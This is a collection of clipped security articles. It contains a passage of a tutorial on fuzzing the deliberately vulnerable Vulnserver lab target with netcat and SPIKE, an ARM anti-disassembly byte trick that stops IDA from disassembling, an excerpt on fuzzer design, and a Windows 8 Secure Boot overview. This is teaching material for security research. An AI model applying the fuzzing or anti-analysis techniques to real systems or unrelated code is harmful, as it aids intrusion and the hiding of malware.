inserted into quite specific areas of an applications input. This is because
the program usually needs to perform some sort of processing on the user
supplied data in order for an exploitable crash to be triggered, and this
requires that we enter the fuzz values into areas of a network protocol where
the application is expecting to find the right sort of input. Data fields,
size fields, command arguments, input strings and sometimes even commands
themselves are all examples of the types of input that can be used to generate
these types of errors.  

In other words, to get the “wrong” data into the “right” place, we need to
have an understanding of the structure of the network protocol that we are
using to communicate with the target application, so that our fuzzing data is
directed into the appropriate areas of the application.  

This understanding of the network protocol can be gained in a number of ways –
by reviewing RFC documents, by generating traffic using a client application
and using a tool such as Wireshark or tcpdump to capture the result, or, for
very simple protocols, you can just directly interact with the application to
see how it works.  

This is what we will do in the case of Vulnserver. So we can begin, we first
we need to start it up. Since we are fuzzing Vulnserver and we want to see
what is happening to it if we manage to cause an exception, we will run the
program in a Debugger. Start up OllyDbg on your Windows system, and use it to
open vulnserver.exe from its location on disk, then either press the **_F9
key_** , hit the **_Play_** button on the OllyDbg toolbar or select **_Run_**
from the OllyDbg **_Debug_** menu to allow the program to run within the
debugger. At this point, the program is running more or less as normal,
however if we trigger a crash in the Vulnserver process, the debugger will
take control and will allow us to see what is going on in the processors
registers and the programs memory at the time of the crash.  

<img src='img/Temp2_556.png' />  

Now, from our Linux fuzzing system, we can connect to the running instance of
Vulnserver using netcat. We will run netcat in double verbose mode \(-vv\) in
order to get some additional information about the connection, and we will
disable DNS resolution \(-n\).  

root@bt4r1vm:~\# nc -nvv 192.168.56.101 9999  

\(UNKNOWN\) \[192.168.56.101\] 9999 \(?\) open  

Welcome to Vulnerable Server\! Enter HELP for help.  

The response we receive after connecting to Vulnserver tells us that we can
enter HELP to obtain, some help. Lets try that and see what happens:  

root@bt4r1vm:~\# nc -nvv 192.168.56.101 9999  

\(UNKNOWN\) \[192.168.56.101\] 9999 \(?\) open  

Welcome to Vulnerable Server\! Enter HELP for help.  

HELP  

Valid Commands:  

HELP  

STATS \[stat\_value\]  

RTIME \[rtime\_value\]  

LTIME \[ltime\_value\]  

SRUN \[srun\_value\]  

TRUN \[trun\_value\]  

GMON \[gmon\_value\]  

GDOG \[gdog\_value\]  

KSTET \[kstet\_value\]  

GTER \[gter\_value\]  

HTER \[hter\_value\]  

LTER \[lter\_value\]  

KSTAN \[lstan\_value\]  

EXIT  

OK, asking for HELP has provided us a list of Valid Commands that are
apparently accepted by the program. Lets try entering some of these commands,
as well as some other random strings, and see what happens.  

STATS  

UNKNOWN COMMAND  

Running the STATS command with no parameters doesn’t seem to be supported.
What about if we try it again, but this time with some generic text thrown in
after the command.  

STATS test  

STATS VALUE NORMAL  

OK, that seemed to work. What about if we change the case of the STATS
command?  

stats test  

UNKNOWN COMMAND  

OK, commands look to be case sensitive. Now lets try some other random text
that wasn’t listed as a supported command.  

BLAH  

UNKNOWN COMMAND  

OK, it appears as though any incorrect/unsupported commands generate an
UNKNOWN COMMAND response. Now lets try another supported command, along with a
random parameter.  

TRUN hhh  

TRUN COMPLETE  

OK, that gave a different response as well. Now lets see if we can get more
information about one of the supported commands.  

HELP STATS  

Command specific help has not been implemented  

No, nothing helpful there.  

As you may realise by now, what I’m trying to accomplish by interrogating the
program in this fashion is to figure out what types of messages are accepted
by the program in order to work out how I will structure my fuzzing requests.
Based on what we have seen so far, it appears as though this program accepts a
number of “supported commands”, and certain of these commands seem to somehow
utilise an input parameter.  

Considering this, some of the ways in which we could introduce fuzzed data
into the application could be to insert it:  

  * In place of a supported command  

  * As a parameter to each of the supported commands that indicate that they support parameters \(STATS, RTIME, LTIME, etc\).  

  * As a parameter to each of the supported commands that don’t indicate that they support parameters \(HELP, and maybe EXIT\). In reality this is probably the least likely method to provide good results, but since there are not many commands that fall into this category it’s probably worth giving this a go anyway.  

So now we have an idea of how we can communicate with the Vulnserver
application, and where in the Vulnserver “protocol” we might be able to insert
our fuzz data.  

Lets close our session with the Vulnserver application.  

EXIT  

GOODBYE  

This is an extremely simple example of protocol analysis, but I believe it
demonstrates the general pre-fuzzing process fairly well – we determine how
the program receives input data from the user, and use that method to insert
fuzzed data into the application.  

**Fuzzing Vulnserver using SPIKE**  

So now lets use the knowledge gained from analysing the Vulnserver “protocol”
to actually fuzz the application using SPIKE.  

In the previous section, we identified that it might be useful to send fuzzed
strings in place of a supported command, and as parameters to supported
commands that do, and do not seem to support parameters. Lets start off with
the simplest case first – sending a fuzzed string in place of a supported
command.  

A SPIKE script to achieve this looks like the following:  

s\_readline\(\); //print received line from server  

s\_string\_variable\(“COMMAND”\); //send fuzzed string  

Here, we are waiting to receive the initial “Welcome” message from the server
that we see when we connect, then we send the fuzzed string to the
application. Save this content to disk on your Linux fuzzing system as
“vscommand.spk”.  

Before we actually go and launch this script with SPIKE, lets start a packet
capture with Wireshark on our Linux system so that we can see what is actually
being sent by SPIKE. My target copy of Vulnserver is listening on a machine
with the IP address 192.168.56.101 on the default port of 9999, so I will
setup a capture filter to ignore all other traffic. The filter looks like the
below – if you have your target system on a different IP address, or
Vulnserver is listening on a different port adjust your filter accordingly.  

host 192.168.56.101 and tcp port 9999  

<img src='img/Temp2_555.png' />  

Start the Wireshark capture and then kick off your SPIKE fuzzer, using a
command like the one specified below. This command assumes that you are
performing your fuzzing from BackTrack, which by default stores SPIKE in
/pentest/fuzzers/spike, and that you have saved your vscommand.spk file into
the present working directory. If you have downloaded SPIKE yourself
generic\_send\_tcp will be located in the SPIKE/SPIKE/src directory inside the
SPIKE archive \(see the **Requirements and System Setup** section for some
detail on installing SPIKE\).  

root@bt4r1vm:~/vulnserver\# /pentest/fuzzers/spike/generic\_send\_tcp
192.168.56.101 9999 vscommand.spk 0 0  

Total Number of Strings is 681  

Fuzzing  

Fuzzing Variable 0:0  

line read=Welcome to Vulnerable Server\! Enter HELP for help.  

Fuzzing Variable 0:1  

Variablesize= 5004  

Fuzzing Variable 0:2  

line read=Welcome to Vulnerable Server\! Enter HELP for help.  

Variablesize= 5005  

**\[SNIP...\]**  

Fuzzing Variable 0:2041  

line read=Welcome to Vulnerable Server\! Enter HELP for help.  

Fuzzing Variable 0:2042  

line read=Welcome to Vulnerable Server\! Enter HELP for help.  

Fuzzing Variable 0:2043  

line read=Welcome to Vulnerable Server\! Enter HELP for help.  

Done.  

If you leave it running, this SPIKE script should complete after a few
minutes, and if you check VulnServer running in its debugger, you will notice
that it seems to be running fine – there has been no crash. So it appears that
just sending bad data in place of a supported command does not cause
VulnServer to crash \(or at least sending the bad strings generated by SPIKE
in place of a command does not cause Vulnserver to crash.\) That’s OK, we
still have plenty of other areas in the program into which we can insert bad
data, but before we move on, lets have a look at the data we captured in
Wireshark, so we can see what SPIKE was doing.  

If we scroll up to the very top of the Wireshark window, select the very first
packet, and right click and choose **_Follow TCP Stream_** from the menu, we
should be able to see the content of the first SPIKE that was sent.  

<img src='img/Temp2_553.png' />  

The first SPIKE looks like the following. You can see what’s happened here,
SPIKE has simply received the Welcome message from the server and then sent
the string COMMAND to the application. This string, not coincidentally, is
exactly the string that we specified within the s\_string\_variable command
from our SPIKE script file. So far, SPIKE has not done anything particularly
interesting, but maybe when we look at some of the other requests…  

<img src='img/Temp2_557.png' />  

One other thing to note here before we move on is that we are seeing the
response from the server to this input we provided – namely the string
“UNKNOWN COMMAND” – being sent back to the client. This indicates that after
receiving this string from SPIKE, the Vulnserver application was still able to
send back a response – meaning it had not at this stage crashed. Later on when
we get to the point of actually causing a crash, this type of information will
become important in recognising which fuzz string did the damage.  

Lets have a look at the next request. Hit the **_Filter Out This Stream_**
button at the bottom of the Follow TCP Stream window, and then right click on
the first packet in the newly filtered Wireshark view and select **_Follow TCP
Stream_** once more. This time we see something a lot more interesting.
Instead of the text “COMMAND” that we saw in the last request, SPIKE has
instead sent a very long string of upper case “A” characters, preceded by a
few other random characters.  

<img src='img/Temp2_554.png' />  

You can continue to **_Filter Out This Stream_** and check some of the other
fuzzed values that SPIKE has sent if you’re curious. The main thing to
understand here though, is that every time the s\_string\_variable command is
used in a SPIKE script, SPIKE will first send the text specified in brackets
after the command, and it will then iterate through its list of predefined
fuzz strings, sending each one in turn to the application until it is done. If
you have multiple variables in your script, it will iterate through all
possible values for each variable in turn, starting with the first one that
appears, and all other variables will be replaced with their specified text
value \(the one you provided in brackets\) until their turn comes.  

What you cant do with SPIKE scripts however, is create multiple separate
SPIKES using one script. If you have multiple different message types with
fixed data that you want to fuzz, such as the strings that represent our
various supported commands such as STATS, RTIME, LTIME, etc, you therefore
need to use individual SPIKE scripts that specify this data using constructs
such as the s\_string command.  

This demonstrates the basic process for running a single SPIKE script, but for
Vulnserver there are a number of other areas in the program we want to fuzz,
and it wont be very convenient to individually execute and watch each required
SPIKE scripts as it runs to see when it crashes our program.

# Anti-disassembly on ARM \(IDA, specifically\)

**Created:**| _9/4/2017 9:14:47 AM_  
---|---  
**Updated:**| _9/4/2017 9:14:47 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

ARM is known as being somewhat prettier and less full of quirks than X86/64,
but that doesn't mean we can't have some fun, right?

So I was looking through the ARM arch manual and ran into this instruction:  
<img src='img/g5TJHgG.png' width='610' height='507' alt='ARM PLD Instruction
pt1' /> <img src='img/7MFV6S5.png' width='536' height='158' alt='ARM PLD
Instruction pt2' />

Since this is a function that does \(almost\) nothing to begin with, I thought
I'd try using something addressable and seeing how IDA interprets it.

[code]

    __asm__ volatile (".byte 0x00, 0xF0, 0xDF, 0xF5\n");  
    
[/code]

This will PLD 2 bytes into the instruction following the next instruction.  
<img src='img/aIvaIi8.png' width='756' height='298' alt='ARM antidisam simple'
/>

But there's more\!

So, let's say you're paranoid messing around with the cache.

According to the specification, if you feed it invalid data, it won't cause a
data abort. It won't cause _any other_ exceptions either, valid or not. In an
exception case, it'll fall back to NOP. IDA however, doesn't know that.

In my previous example, even though an instruction was malformed because
instructions are every 4 bytes under my flavor of ARM - it picks right back up
on a valid instruction.

If you feed PLD malformed data and IDA is completely unable to parse the
\(kinda sorta\) valid instruction, and it freaks out\!

[code]

        __asm__ volatile(
            ".byte 0x02, 0xDF, 0xDF, 0xF5\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
            "NOP\n"
        );
    
[/code]

I added NOPs for dramatic effect \(to show IDA does not resume disassembly, at
least not for the function that the instruction is present in.

<img src='img/fZ1LuPI.png' width='774' height='270' alt='ARM antidisam
advanced' />

Ta-da\!

So what else is cool about this is, this is just one combination of invalid
bytes that creates a PLD instruction the processor can ingest. There's all
sorts of combinations that will cause this same thing to happen.

August 31st update:

After a bit of research after work I was able to figure out exactly why IDA
doesn't consider this a valid instruction, and why the CPU executes it
normally.

Consider these:  
<img src='img/DEikbqK.png' width='895' height='424' alt='ARM antidisasm
explained 1' /> <img src='img/29dGOdB.png' width='895' height='309' alt='ARM
antidisasm explained 2' />

Making a simple program I was able to discover my byte fiddling with the PLD
instruction corrupted the 4 bit field after "addr\_mode" \(among other
things\).

Creating an instruction using this example program and slapping the results
into GCC gave me the desired effect. I can now \(using the gist above\) create
many variants of this instruction.

You can fiddle with the other instruction data \(such as addr\_mode itself,
etc.\) to create variants of this instruction that accomplish the same task.

  

# Ripped from Elsewhere: Requirements for Effective Fuzzing « cyberwart

**Created:**| _9/20/2009 1:56:23 PM_  
---|---  
**Updated:**| _9/20/2009 1:56:47 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation Fuzzer_  
  

## Ripped from Elsewhere: Requirements for Effective Fuzzing

Testing security software  
By Michael Sutton, Adam Greene, Pedram Amini,  Dr. Dobb’s Journal  
Jun 29, 2007  
URL:http://www.ddj.com/dept/security/200001745

* * *
 _Michael Sutton is the Security Evangelist for SPI Dynamics. Adam Greene is
an engineer for a large financial news company based in New York City. Pedram
Amini currently leads the security research and product security assessment
team at TippingPoint. This article was excerpted from their book _Fuzzing:
Brute Force Vulnerability Discovery _. ISBN: 0321446119. Copyright \(c\) 2007
Addison-Wesley Professional. All rights reserved._

* * *
_You teach a child to read, and he or her will be able to pass a literacy
test._

George W. Bush, Townsend, TN, February 21, 2001

Fuzzing has evolved into one of today’s most effective approaches to test
software security. To “fuzz,” you attach a program’s inputs to a source of
random data, then systematically identify the failures that arise.

An obvious requirement for a fuzzing tool is the capability to reproduce the
results from both individual tests and test sequences. This is crucial for
communicating test results to other persons or groups. As a fuzz tester, you
should be able to provide your fuzzing tool with a list of malicious test case
numbers knowing that the observed target’s behavior will be exactly the same
between test runs. Consider the following fictitious situation:

You are fuzzing a Web server’s capability to handle malformed **POST** data
and discover a potentially exploitable memory corruption condition when the
50th test case you sent that crashes the service. You restart the Web daemon
and retransmit your last malicious payload, but nothing happens.Was the issue
a fluke? Of course not: Computers are deterministic and have no notion of
randomness. The issue must rely on some combination of inputs. Perhaps an
earlier packet put the Web server in a state that later allowed the 50th test
to trigger the memory corruption.We can’t tell without further analysis and we
can’t narrow the possibilities down without the capability of replaying the
entire test set in a methodical fashion.

Documentation of the various testing results is also a useful, if not
mandatory, requirement during the information sharing phase. Given the rising
trend of internationally outsourced development1 it is frequently not possible
for the security tester to walk down the hall and sit with the affected
product developer. Outsourcing has become so popular even computer science
students have been known to take advantage of it.2 Various barriers of
communication including time zone, language, and communication medium make it
ever more important to bundle as much information as possible in a clear and
concise form. The burden of organized documentation should not be an entirely
manual effort. A good fuzzing tool will produce and store easily parsed and
referenced log information.

Think about how the individual fuzzers we discuss handle reproducibility,
logging, and automated documentation. Think about how you could improve on the
implementation.

### Reusability

On a large scale, if we are building a file format fuzzing tool, we don’t want
to have to rewrite the entire tool everytime we want to test a new file
format. We can create some reusable features that will save us time in the
future if we decide to test a different format. Sticking with our example,
let’s say we were motivated to construct a JPEG file format fuzzing tool to
test for bugs in Microsoft Paint. Thinking ahead and knowing that we will want
to reuse portions of our labor, we may decide to separate the tool set into
three components as in Figure 1.

<img src='img/Temp2_6999.gif' />

**Figure 1** : Fictitious file format fuzzer breakdown and overview.

A JPEG file generator is responsible for generating an endless series of
mutated JPEG files. A launching front end is responsible for looping over the
generated images, each time spawning Microsoft Paint with the appropriate
arguments to load the next image. Finally, an error detection engine is
responsible for monitoring each instance of Microsoft Paint for exceptional
conditions. The separation into three components allows us to adapt our test
set to other file formats with changes only to the generator. On a smaller
scale, numerous building blocks should be portable between our fuzz testing
projects. Consider, for example, an e-mail address. This basic string format
is seen everywhere, including Simple Mail Transfer Protocol \(SMTP\)
transactions, login screens, and the Voice over IP \(VoIP\) Session Initiation
Protocol \(SIP\):

[code]

    Excerpt of an SIP INVITE Transaction
    
    49 4e 56 49 54 45 20 73 69 70 3a 72 6f 6f 74 40 INVITE sip:root@
    6f 70 65 6e 72 63 65 2e 6f 72 67 20 53 49 50 2f openrce.org SIP/
    32 2e 30 0d 0a 56 69 61 3a 20 53 49 50 2f 32 2e 2.0..Via: SIP/2.
    30 2f 55 44 50 20 70 61 6d 69 6e 69 4c 2e 75 6e 0/UDP voip.openr
    
[/code]

In each case, it is an interesting field to fuzz because we are certain the
field will be parsed and potentially separated into various components \(e.g.,
user and domain\). If we’re going to spend the time to enumerate the possible
malicious representations of an e-mail address, wouldn’t it be nice if we can
reuse it across all of our fuzzers? Think about how you might abstract or
modularize the individual fuzzers that we discuss to increase reusability.

### Process State and Process Depth

For a solid grasp on the concepts of process state and process depth, let’s
pick an example most people are all too familiar with: ATM banking. Consider
the simple state diagram shown in Figure 2.

<img src='img/Temp2_7001.gif' />

**Figure 2** : Contrived ATM state diagram example.

In a typical ATM transaction, you walk up to the machine \(ever so stealthily
ensuring you weren’t followed\), insert your card, enter a PIN, follow a
series of on-screen menus to select the amount of money you wish to withdraw,
collect your money, and conclude your transaction. This same concept of state
and state transitions applies to software; we’ll give a specific example in a
minute. Each step of the ATM transaction process can be referred to as a
state. We define process state as the specific state a target process is in at
any given time. Actions, such as inserting a card or selecting a withdrawal
amount, transition you from one state to another. How far along you are in the
process is referred to as process depth. So, for example, specifying a
withdrawal amount happens at a greater depth than entering a PIN.

As a more security-relevant example consider a secure shell \(SSH\) server.
Prior to connecting to the server it is in the initial state. During the
authentication process, the server is in the authentication state. Once the
server has successfully authenticated a user it is in the authenticated state.

Process depth is a specific measure of the number of “forward” steps required
to reach a specific state. Following our SSH server example, consider the
state diagram depicted in Figure 3.

<img src='img/Temp2_7002.gif' />

**Figure 3** : SSH server state diagram

The authenticated state is “deeper” in the process than the authentication
state because the authentication state is a required substep of the
authenticated state. The notion of process state and process depth is an
important concept that can create significant complication in fuzzer design.
The following example demonstrates such a complication. To fuzz the e-mail
address argument of the**MAIL FROM** verb in an SMTP server, we have to
connect to the server and issue either a **HELO** or **EHLO** command. As
shown in Figure 4, the underlying SMTP implementation may handle the
processing of the **MAIL FROM** command with the same function regardless of
what initiation command was used.

<img src='img/Temp2_7004.gif' />

**Figure 4** : SMTP example state diagram 1

In Figure 4, function one is the only function defined to handle **MAIL FROM**
data. Alternatively, as shown in Figure 5, the SMTP implementation might have
two separate routines for handling **MAIL FROM** data depending on the chosen
initiation command.

<img src='img/Temp2_7000.gif' />

**Figure 5** : SMTP example state diagram 2

This is actually a real-world example. On September 7, 2006, a security
advisory3detailing a remotely exploitable stack overflow in the SMTP server
bundled with Ipswitch Collaboration Suite was published. The overflow occurs
when long strings are supplied between the characters **@** and **:** during
the parsing of e-mail addresses. The vulnerable parsing routine is only
reachable, however, when the connecting client begins the conversation with
**EHLO**. When building fuzzers, be mindful of potential logic splits like
this. To get complete coverage, our fuzzer will have to run through all of its
e-mail address mutations twice, once through **EHLO** and once through
**HELO**. What happens if there is another logic split further down the
process depth path? The number of necessary iterations for complete coverage
starts to increase exponentially.

### Tracking, Code Coverage, and Metrics

Code coverage is a term referring to the amount of process state a fuzzer
induces a target’s process to reach and execute. At the time of writing, we
are currently unaware of any publicly or commercially available fuzzing
technology capable of tracking and logging code coverage. This is an important
concept for analysts across the board. Quality assurance \(QA\) teams can
utilize code coverage as a metric to determine confidence in the level of
testing that has taken place. If you are the QA lead for a Web server product,
for example, you would probably feel more comfortable shipping your product
with zero failures across 90 percent code coverage than you would with zero
failures across only 25 percent code coverage. Vulnerability researchers can
benefit from code coverage analysis by identifying the modifications necessary
to expand their code coverage into more obscure states of their target where
other eyes may not have already been.

Think about creative approaches to determining code coverage and the benefits
that such an analysis might provide as we discuss various fuzzers in upcoming
chapters. When fuzzing, people always ask,”How do I start?” Remember that it’s
equally important to ask, “When do I stop?”

### Error Detection

Generating and transmitting potentially malicious traffic encompasses only
half of the fuzzing battle. The other half of the battle is accurately
determining when an error has occurred. At the time of writing, the majority
of available fuzzers are “blind” in that they have no concept of how the
target reacts to transmitted tests. Some commercial solutions interweave
“ping” or keepalive checks between malicious attempts as a control to
determine whether or not the target is still functional. The term ping here is
loosely used to refer to any form of transaction that should generate a known
good response. Other solutions exist that build on log output analysis. This
could involve monitoring ASCII text logs maintained by individual applications
or querying entries in system logs such as the Windows Event Viewer as shown
in Figure 6.

<img src='img/Temp2_7003.gif' />

**Figure 6** : Example Error log from the Microsoft Windows Event Viewer

The benefit of these approaches to error detection is that they are, for the
most part, easily ported between platforms and architectures. However, these
approaches are severely limited with regard to the kinds of errors they are
capable of detecting. Neither of these approaches, for example, can detect the
case where a critical error occurs in a Microsoft Windows application but is
gracefully handled by a Structured Exception Handling4\(SEH\) routine.

The next generation in error detection is the use of lightweight debug clients
to detect when an exceptional condition has occurred in a target. The one
negative aspect of utilizing these types of tools is that you have to develop
one for each target platform on which you are testing. For example, if you
want to test three SMTP servers on Mac OS X, Microsoft Windows, and Gentoo
Linux, you will likely have to develop two or possibly three different
monitoring clients. Furthermore, depending on your target, it might not be
possible or timely to construct a debugging client. If you are testing a
hardware VoIP phone, for example, you might have to fall back to control
testing or log monitoring, as hardware solutions are less conducive to
debugging and might require special tools.

Looking even further ahead, the panacea of error detection lies in dynamic
binary instrumentation/translation5 \(DBI\) platforms such as Valgrind and
Dynamo Rio. On such platforms, it becomes possible to detect errors as they
develop rather than after they trigger. At a 50,000-foot view, DBI-based
debugging engines are able to very specifically analyze and instrument a
target software application at a low level. Such control allows for the
creation of memory leak checks, buffer overflow and underrun checks, and so
on. Referring to the memory corruption example we used when discussing
reproducibility, a lightweight debug client is capable of informing us when
the memory corruption triggers. If you recall our example, we posed a scenario
whereby a number of packets were sent to the target service, which crashed on
receiving the 50th test case. On a platform such as Valgrind, we might be able
to detect the initial memory corruption that occurred at some earlier test
prior to triggering the exception. This approach can save hours and perhaps
days of fuzz tuning and bug tracking.

Various nontechnical factors such as budget and deadlines can impose
limitations on fuzz testing. These factors must be kept in mind during the
design and planning stage. You could, for example, find yourself in a last-
minute, prelaunch panic because no one has even briefly examined the security
of your $50-million product investment. Security is all too often an
afterthought in the software development lifecycle \(SDLC\), taking a backseat
to adding new features and meeting production deadlines. Security must be
“baked in” as opposed to being “brushed on” if we ever hope to produce secure
software. That involves making fundamental changes to the SDLC to ensure that
security is considered at every stage of development. That said, we recognize
that software is developed in the real world and not utopia where resources
are plentiful and defects are scarce. As you progress through this book it is
therefore equally important to mentally classify various techniques that can
be applied when time and finances are limited as well as dreaming up the
“ultimate” fuzzing suite. Consider also where you would implement such tools
in the SDLC and who would be responsible for owning the processes.

# The Semantics of x86-CC Multiprocessor Machine Code

**Created:**| _6/16/2010 8:33:15 PM_  
---|---  
**Updated:**| _6/16/2010 8:33:45 PM_  
**Author:**| __  
**Tags:**| _asm research reversing awesome_  
  
<img src='img/Temp2_8310' />

# Windows 8 Boot Process - Security, UEFI, TPM | TechNet
**Created:**| _9/27/2013 10:57:06 AM_  
---|---  
**Updated:**| _9/27/2013 10:57:06 AM_  
**Author:**| __  
**Tags:**| _boot-process win8_  
  

# **S** ecuring the Windows 8 Boot Process****

The Windows operating system has many features to help protect you from
malware, and it does an amazingly good job**.** Except for apps that
businesses develop and use internally, all Windows Store apps must meet a
series of requirements to be certified and included in the Windows Store**.**
This certification process examines several criteria, including security, and
is an effective means of preventing malware from entering the Windows
Store**.** Even if a malicious app does get through, the Windows 8 operating
system includes a series of security features that can mitigate the
impact**.** For instance, Windows Store apps are sandboxed and lack the
privileges necessary to access user data or change system settings**.**  
  
Windows 8 has multiple levels of protection for desktop apps and data,
too**.** Windows Defender uses signatures to detect and quarantine apps that
are known to be malicious**.** The SmartScreen Filter warns the user before
allowing them to run an untrustworthy app, even if it’s recognized as
malware**.** Before an app can change system settings, the user would have to
grant the app administrative privileges by using User Account Control**.**  
  
Those are just some of the ways Windows 8 protects you from malware**.**
However, those security features protect you only after Windows 8 starts**.**
Modern malware—and bootkits specifically—are capable of starting before
Windows, completely bypassing operating system security, and remaining
completely hidden**.**  
  
When you run Windows 8 on a Windows 8–certified PC or any PC that supports
Unified Extensible Firmware Interface \(UEFI\), Trusted Boot protects your PC
from malware from the moment you power your PC on until your antimalware
starts**.** In the unlikely event that malware does infect a PC, it can’t
remain hidden; Trusted Boot can prove the system’s integrity to your
infrastructure in a way that malware can’t disguise**.** Even on PCs without
UEFI, Windows 8 provides even better startup security than previous versions
of Windows**.**  
  
First, let’s examine what rootkits are and how they work**.** Then, we’ll show
you how Windows 8 can protect you**.**

## The Threat: Rootkits****

_Rootkits_ are a sophisticated and dangerous type of malware that run in
kernel mode, using the same privileges as the operating system**.** Because
rootkits have the same rights as the operating system and start before it,
they can completely hide themselves and other applications**.** Often,
rootkits are part of an entire suite of malware that can bypass local logins,
record passwords and keystrokes, transfer private files, and capture
cryptographic data**.**  
  
Different types of rootkits load during different phases of the startup
process:

  * **Firmware rootkits**.**** These kits overwrite firmware of the PC’s basic input/output system or other hardware so the rootkit can start before Windows**.**
  * **Bootkits.** These kits replace the operating system’s bootloader \(the small piece of software that starts the operating system\) so that the PC loads the bootkit before the operating system**.**
  * **Kernel rootkits.** These kits replace a portion of the operating system kernel so the rootkit can start automatically when the operating system loads**.**
  * **Driver rootkits.** These kits pretend to be one of the trusted drivers that Windows uses to communicate with the PC hardware**.**

## The Countermeasures****

Windows 8 supports four features to help prevent rootkits and bootkits from
loading during the startup process:

  * **Secure Boot**.**** PCs with UEFI firmware and a Trusted Platform Module \(TPM\) can be configured to load only trusted operating system bootloaders**.**
  * **Trusted Boot.** Windows checks the integrity of every component of the startup process before loading it**.**
  * **Early Launch Anti-Malware \(ELAM\)**.**** ELAM tests all drivers before they load and prevents unapproved drivers from loading**.**
  * **Measured Boot.** The PC’s firmware logs the boot process, and Windows can send it to a trusted server that can objectively assess the PC’s health**.**

Figure 1 shows the Windows 8 startup process**.**

<img src='img/Temp2_9562.png' />

_Figure 1**.** Secure Boot, Trusted Boot, and Measured Boot block malware at
every stage_  
  
Secure Boot and Measured Boot are only possible on PCs with UEFI 2**.** 3.1
and a TPM chip. Fortunately, all PCs certified for use with Windows 8 have
these components, and many PCs designed for earlier versions of Windows have
them, as well**.**  
  
The sections that follow describe Secure Boot, Trusted Boot, ELAM, and
Measured Boot**.**

## Secure Boot****

When a PC starts, it first finds the operating system bootloader**.** PCs
without Secure Boot simply run whatever bootloader is on the PC’s hard
drive**.** There’s no way for the PC to tell whether it’s a trusted operating
system or a rootkit**.**  
  
When a PC equipped with UEFI starts, the PC first verifies that the firmware
is digitally signed, reducing the risk of firmware rootkits**.** If Secure
Boot is enabled, the firmware examines the bootloader’s digital signature to
verify that it hasn’t been modified**.** If the bootloader is intact, the
firmware starts the bootloader only if one of the following conditions is
true:

  * **The bootloader was signed using a trusted certificate**.**** In the case of PCs certified for Windows 8, Microsoft’s certificate is trusted**.**
  * **The user has manually approved the bootloader’s digital signature**.**** This allows the user to load non-Microsoft operating systems.

All x86-based Certified For Windows 8 PCs must meet several requirements
related to Secure Boot:

  * They must have Secure Boot enabled by default**.**
  * They must trust Microsoft’s certificate \(and thus any bootloader Microsoft has signed\)**.**
  * They must allow the user to configure Secure Boot to trust other bootloaders**.**
  * They must allow the user to completely disable Secure Boot**.**

These requirements help protect you from rootkits while allowing you to run
any operating system you want**.** You have three options for running non-
Microsoft operating systems:

  * **Use an operating system with a certified bootloader**.**** Because all Certified For Windows 8 PCs must trust Microsoft’s certificate, Microsoft offers a service to analyze and sign any non-Microsoft bootloader so that it will be trusted by all Certified For Windows 8 PCs**.** In fact, an  open source bootloader  capable of loading Linux is already available**.** To begin the process of obtaining a certificate, go to  http://sysdev.microsoft.com **.**
  * **Configure UEFI to trust your custom bootloader**.**** All Certified For Windows 8 PCs allow you to trust a noncertified bootloader by adding a signature to the UEFI database, allowing you to run any operating system, including homemade operating systems.
  * **Turn off Secure Boot**.**** All Certified For Windows 8 PCs allow you to turn off Secure Boot so that you can run any software**.** This does not help protect you from bootkits, however**.**

To prevent malware from abusing these options, the user must manually
configure the UEFI firmware to trust a noncertified bootloader or to turn off
Secure Boot**.** Software cannot change the Secure Boot settings**.** For more
information about Secure Boot, read the blog,  Protecting the pre-OS
environment with UEFI **.**  
  
Like most mobile devices, ARM-based Certified For Windows RT devices, such as
the Microsoft Surface RT device, are designed to run only Windows 8**.**
Therefore, Secure Boot cannot be turned off, and you cannot load a different
operating system**.** Fortunately, there is a large market of ARM devices
designed to run other operating systems.

## Trusted Boot****

Trusted Boot takes over where Secure Boot leaves off**.** The bootloader
verifies the digital signature of the Windows 8 kernel before loading it**.**
The Windows 8 kernel, in turn, verifies every other component of the Windows
startup process, including the boot drivers, startup files, and ELAM**.** If a
file has been modified, the bootloader detects the problem and refuses to load
the corrupted component**.** Often, Windows 8 can automatically repair the
corrupted component, restoring the integrity of Windows and allowing the PC to
start normally**.**

## Early Launch Antimalware****

Because Secure Boot has protected the bootloader and Trusted Boot has
protected the Windows kernel, the next opportunity for malware to start is by
infecting a non-Microsoft boot driver**.** Traditional antimalware apps don’t
start until after the boot drivers have been loaded, giving a rootkit
disguised as a driver the opportunity to work**.**  
  
ELAM can load a Microsoft or non-Microsoft antimalware driver before all non-
Microsoft boot drivers and applications, thus continuing the chain of trust
established by Secure Boot and Trusted Boot**.** Because the operating system
hasn’t started yet, and because Windows needs to boot as quickly as possible,
ELAM has a simple task: Examine every boot driver and determine whether it is
on the list of trusted drivers**.** If it’s not trusted, Windows won’t load
it.  
  
An ELAM driver isn’t a full-featured antimalware solution; that loads later in
the boot process**.** Windows Defender \(included with Windows 8\) supports
ELAM, as does  Microsoft System Center 2012 Endpoint Protection  and several
non-Microsoft antimalware apps**.**

## Measured Boot****

If a PC in your organization does become infected with a rootkit, you need to
know about it**.** Enterprise antimalware apps can report malware infections
to the IT department, but that doesn’t work with rootkits that hide their
presence**.** In other words, you can’t trust the client to tell you whether
it’s healthy**.**  
  
As a result, PCs infected with rootkits appear to be healthy, even with
antimalware running**.** Infected PCs continue to connect to the enterprise
network, giving the rootkit access to vast amounts of confidential data and
potentially allowing the rootkit to spread across the internal network**.**  
  
Working with the TPM and non-Microsoft software, Measured Boot in Windows 8
allows a trusted server on the network to verify the integrity of the Windows
startup process**.** Measured Boot uses the following process:

  1. The PC’s UEFI firmware stores in the TPM a hash of the firmware, bootloader, boot drivers, and everything that will be loaded before the antimalware app**.**
  2. At the end of the startup process, Windows starts the non-Microsoft remote attestation client**.** The trusted attestation server sends the client a unique key**.**
  3. The TPM uses the unique key to digitally sign the log recorded by the UEFI**.**
  4. The client sends the log to the server, possibly with other security information**.**

Depending on the implementation and configuration, the server can now
determine whether the client is healthy and grant the client access to either
a limited quarantine network or to the full network**.**  
  
Figure 2 illustrates the Measured Boot and remote attestation process**.**

<img src='img/Temp2_9561.png' />

_Figure 2**.** Measured Boot proves the PC’s health to a remote server_  
  
Windows 8 includes the application programming interfaces to support Measured
Boot, but you’ll need non-Microsoft tools to implement a remote attestation
